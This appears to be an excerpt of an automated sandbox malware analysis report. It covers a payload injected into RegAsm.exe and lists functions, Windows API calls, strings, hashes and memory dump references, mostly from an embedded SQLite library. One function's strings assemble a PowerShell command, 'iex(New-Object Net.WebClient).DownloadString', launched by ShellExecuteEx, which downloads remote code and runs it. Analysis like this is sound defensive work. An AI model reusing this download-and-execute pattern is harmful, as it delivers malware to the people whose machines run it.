Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %!0.15g$JSON cannot hold BLOB values$null
API String ID: 0-3074873597
Opcode ID: d7b411aee54a0d27f311fa6f5982643e14c9fe82341a46646a5837f5462f00fe
Instruction ID: 78ec743ad715089dabc6eda2dd512e218277f6cfcd8d05f92cb97f526f43300c
Opcode Fuzzy Hash: d7b411aee54a0d27f311fa6f5982643e14c9fe82341a46646a5837f5462f00fe
Instruction Fuzzy Hash: 9D417DBAA007406AF3105B54DC82B9A77A4DF41739F040629F651C5593DBEBA5A883F1

Function 1FED1D50 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 132COMMON

Download Yara Rule

Strings

no such database: %s, xrefs: 1FED1E05
CREATE TABLE x( name TEXT, path TEXT, pageno INTEGER, pagetype TEXT, ncell INTEGER, payload INTEGER, unused INTEGER, mx_payload INTEGER, pgoffset INTEGER, pgsize INTEGER, schema TEXT HIDDEN, aggregate BOOLEAN HIDDEN), xrefs: 1FED1E2C

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: CREATE TABLE x( name TEXT, path TEXT, pageno INTEGER, pagetype TEXT, ncell INTEGER, payload INTEGER, unused INTEGER, mx_payload INTEGER, pgoffset INTEGER, pgsize INTEGER, schema TEXT HIDDEN, aggregate BOOLEAN HIDDEN)$no such database: %s
API String ID: 0-1404816483
Opcode ID: e947205b494cf67febad93926d4e98582e5159abcff412c4cabc54f776cabfe2
Instruction ID: 54537f0d32c8123b520a653d12387738b8e2553e04de5d9b886e45ee8035a1cf
Opcode Fuzzy Hash: e947205b494cf67febad93926d4e98582e5159abcff412c4cabc54f776cabfe2
Instruction Fuzzy Hash: 4F31267660430A6BD3105F6ADC40B6BF7D8FF85219F010669FD589B241EBBAF90187E1

Function 004128D4 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 0041039F: lstrcpy.KERNEL32(00000000,00000000), ref: 004103C5

Part of subcall function 004104C1: lstrlen.KERNEL32(?,00000000,?,0040605C,00436824), ref: 004104D5
Part of subcall function 004104C1: lstrcpy.KERNEL32(00000000,?), ref: 004104FD
Part of subcall function 004104C1: lstrcat.KERNEL32(?,00000000), ref: 00410508

Part of subcall function 00410445: lstrcpy.KERNEL32(00000000,?), ref: 00410475

Part of subcall function 00411B02: GetSystemTime.KERNEL32(?,0043579A), ref: 00411B31

Part of subcall function 0041047F: lstrcpy.KERNEL32(00000000,?), ref: 004104AD
Part of subcall function 0041047F: lstrcat.KERNEL32(?,00000000), ref: 004104B7

ShellExecuteEx.SHELL32(?), ref: 00412A24

Strings

.ps1, xrefs: 00412957
C:\ProgramData\, xrefs: 00412907
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 004129BF
')", xrefs: 00412977
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 0041297C

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShellSystemTimelstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$.ps1$C:\ProgramData\$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 2215929589-1989157005
Opcode ID: 76334d60d91da0fd4332c38b711e95858808075812ab023708b392c402592af1
Instruction ID: 2fc58e2c96a5afeb353523fa81ed159c8821b70aee62cf71a28d1642def4d86a
Opcode Fuzzy Hash: 76334d60d91da0fd4332c38b711e95858808075812ab023708b392c402592af1
Instruction Fuzzy Hash: CF413071E001189BCF10FFA6DD465CDB7B4AF44308F50442BF604B31A2CBB96E868B98

Function 00410EBF Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 85COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00410F00
GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,?), ref: 00410F35
wsprintfA.USER32 ref: 00410F93

Strings

<^C, xrefs: 00410FA4
H^C, xrefs: 00410FB6
D^C, xrefs: 00410FBD

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ErrorInformationLastLogicalProcessorwsprintf
String ID: <^C$D^C$H^C
API String ID: 4210301552-2007896887
Opcode ID: a4da69f08b622f938dd4c2cd55027c4301beabdc47f5863c71488768445260db
Instruction ID: 276e0e6ca8d611135a650e7d1382164841697c58b0a13aae32a091b8b88e68aa
Opcode Fuzzy Hash: a4da69f08b622f938dd4c2cd55027c4301beabdc47f5863c71488768445260db
Instruction Fuzzy Hash: 87314F71D4411A9BCB359F59DD82ABEB7B9EF44300F1040BFE119A2241DBB89FC28E49

Function 1FF3C650 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80COMMON

Download Yara Rule

Strings

PRAGMA %Q.data_version, xrefs: 1FF3C67C

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: PRAGMA %Q.data_version
API String ID: 0-2870853266
Opcode ID: d9a39e4daee0a7686069d4cc41c0be6fd767c7bde9bf9811d7b3c5fc5eda6980
Instruction ID: e3d783212b748ff43624697a1d43505da1c2402f3dc7c0f856ba3e4b8705ace2
Opcode Fuzzy Hash: d9a39e4daee0a7686069d4cc41c0be6fd767c7bde9bf9811d7b3c5fc5eda6980
Instruction Fuzzy Hash: 7011A1BAF003055BD701EE2AFC40696F7D5EF88222F54453AE94482610EB76B91DCBB2

Function 1FEE9CD0 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 74COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 1FEE9D00
misuse, xrefs: 1FEE9CFB
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FEE9CF1
API called with finalized prepared statement, xrefs: 1FEE9CE5

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$API called with finalized prepared statement$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$misuse
API String ID: 0-3620335220
Opcode ID: b59e10ab3fad1210066091c26ae82fd4634b1720c66827065cecc26b7bdb41f7
Instruction ID: 42b9273763e1d8fe5539590d65a31bec926057b0de22c570598b74a5f800a591
Opcode Fuzzy Hash: b59e10ab3fad1210066091c26ae82fd4634b1720c66827065cecc26b7bdb41f7
Instruction Fuzzy Hash: 32113D77F0072166F7015A69BC40FCE72D8EF8152EF01403AFA0A96302E754B98542F2

Function 200905B4 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,?,?,?,DF56A1F9,?,200906F5,?,?), ref: 20090675

Strings

ext-ms-, xrefs: 2009061F
api-ms-, xrefs: 2009060B

Memory Dump Source

Source File: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 02964d5c6ecfd0f0c634fcb21942ec604862c952ad96a86883be78e514f1887a
Instruction ID: 0ca1ebb1a37da5618b87fd8026ec3aa7dc6713c506e4a53a4576515f9706f501
Opcode Fuzzy Hash: 02964d5c6ecfd0f0c634fcb21942ec604862c952ad96a86883be78e514f1887a
Instruction Fuzzy Hash: 6C21D872905615AFF7119BA5CC48F8A3798EFC2B60F210120ED05A7291DB34FE10FAE4

Function 1FF631F0 Relevance: 9.5, APIs: 6, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af5a246356a1387d5372edf426711b648be3853122e8b719fa5346f090e530d6
Instruction ID: b4fc2be3ebd3e89337768a737f0a7ab809353146325fc8a98f6573e581aa925b
Opcode Fuzzy Hash: af5a246356a1387d5372edf426711b648be3853122e8b719fa5346f090e530d6
Instruction Fuzzy Hash: 35F1D371A083419BD701CF28D88076ABBE0FF45334F14466DE8999B351EBB6F945CBA1

Function 1FEE4E00 Relevance: 9.2, APIs: 6, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88bb119d984b07a5baae67e03635b8f5b344b4ebd40abc184b63931c4192bb4e
Instruction ID: 4e8318fe26219ec4f8c275d81576407cca36f3e3a451fa6957465eceabd65d39
Opcode Fuzzy Hash: 88bb119d984b07a5baae67e03635b8f5b344b4ebd40abc184b63931c4192bb4e
Instruction Fuzzy Hash: 4381B2765087019BF700DF18EC48B9A77E4FF84719F040529F944D7262EB3AE918EB96

Function 1FFE73E0 Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 369COMMON

Download Yara Rule

Strings

SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 1FFE776D
ase, xrefs: 1FFE768D
sqlite_temp_master, xrefs: 1FFE73F2
sqlite_master, xrefs: 1FFE73FD

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: SELECT*FROM"%w".%s ORDER BY rowid$ase$sqlite_master$sqlite_temp_master
API String ID: 0-231581592
Opcode ID: 6f45530386e28664f88aa11ce7ddf6a756a2895747ea642f0fea047448eb26c6
Instruction ID: 1617bd5694619d958f61a29e1bec362b83032e316a3657b4e7ea1ec0da5d5265
Opcode Fuzzy Hash: 6f45530386e28664f88aa11ce7ddf6a756a2895747ea642f0fea047448eb26c6
Instruction Fuzzy Hash: E5E127B2A047419FE711CF24C880B5ABBE4BF55708F01462DF9689B252F7B5F944CBA2

Function 1FED6DA0 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 364COMMON

Download Yara Rule

Strings

recursively defined fts5 content table, xrefs: 1FED6DE2

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: recursively defined fts5 content table
API String ID: 0-437020801
Opcode ID: 189c9d00d4bf9504a6e7a09501af438e872878eb8b462940607e89873ff4a832
Instruction ID: 18e32f4eb87c39c839230d751bc250bcde5435161fe1412740b1586cc418ddb0
Opcode Fuzzy Hash: 189c9d00d4bf9504a6e7a09501af438e872878eb8b462940607e89873ff4a832
Instruction Fuzzy Hash: 64D1CF759087858FD704CF19C48075ABBE1FF89328F440A6EFC858B651E775E886CB92

Function 00412DBD Relevance: 9.1, APIs: 6, Instructions: 110stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00412DDC
StrCmpCA.SHLWAPI(00000000,004357A8), ref: 00412E15
strtok_s.MSVCRT ref: 00412ED5

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: strtok_s
String ID:
API String ID: 3330995566-0
Opcode ID: 3e0fc02030fd2786b941df0cbd4bb94a52f8ab5e64dacc591acbc46b61bc7103
Instruction ID: 9ebfffdb74174c888a7cfeee9f22a8d0a3355dd1d5b843aa54b53e841fe43bc0
Opcode Fuzzy Hash: 3e0fc02030fd2786b941df0cbd4bb94a52f8ab5e64dacc591acbc46b61bc7103
Instruction Fuzzy Hash: E031BB71E01201DFCB248F64CE85B9A77A8EF18316F11506FE805DB191E7BCC6B19B58

Function 00411FC8 Relevance: 9.0, APIs: 4, Strings: 2, Instructions: 36stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(?,?), ref: 00411FD3
lstrcpyn.KERNEL32(C:\Users\user\Desktop\,?,00000000,?,?,?), ref: 00411FEC
lstrlen.KERNEL32(?,?,00000000,?,?,?), ref: 00411FFE
wsprintfA.USER32 ref: 00412010

Strings

%s%s, xrefs: 0041200A
C:\Users\user\Desktop\, xrefs: 00411FE6, 00411FEB

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s$C:\Users\user\Desktop\
API String ID: 1206339513-93594680
Opcode ID: 9d7c4ca0675cbfb9abc2ae93bc42a2f85239dbdea3e80a475034dda9896f7ba7
Instruction ID: 3d4e1a45e5e20718a2294e760a168b195a1ca7ea24a8c4113abbea23d0793380
Opcode Fuzzy Hash: 9d7c4ca0675cbfb9abc2ae93bc42a2f85239dbdea3e80a475034dda9896f7ba7
Instruction Fuzzy Hash: FAF08232A00215BFD7011FA9AD48EABBF6EEF596A5F141032F90892221C7B1896187E5

Function 1FF5E4B0 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 218COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 1FF5E58E, 1FF5E5C1
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FF5E57F, 1FF5E5B2
database corruption, xrefs: 1FF5E589, 1FF5E5BC

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
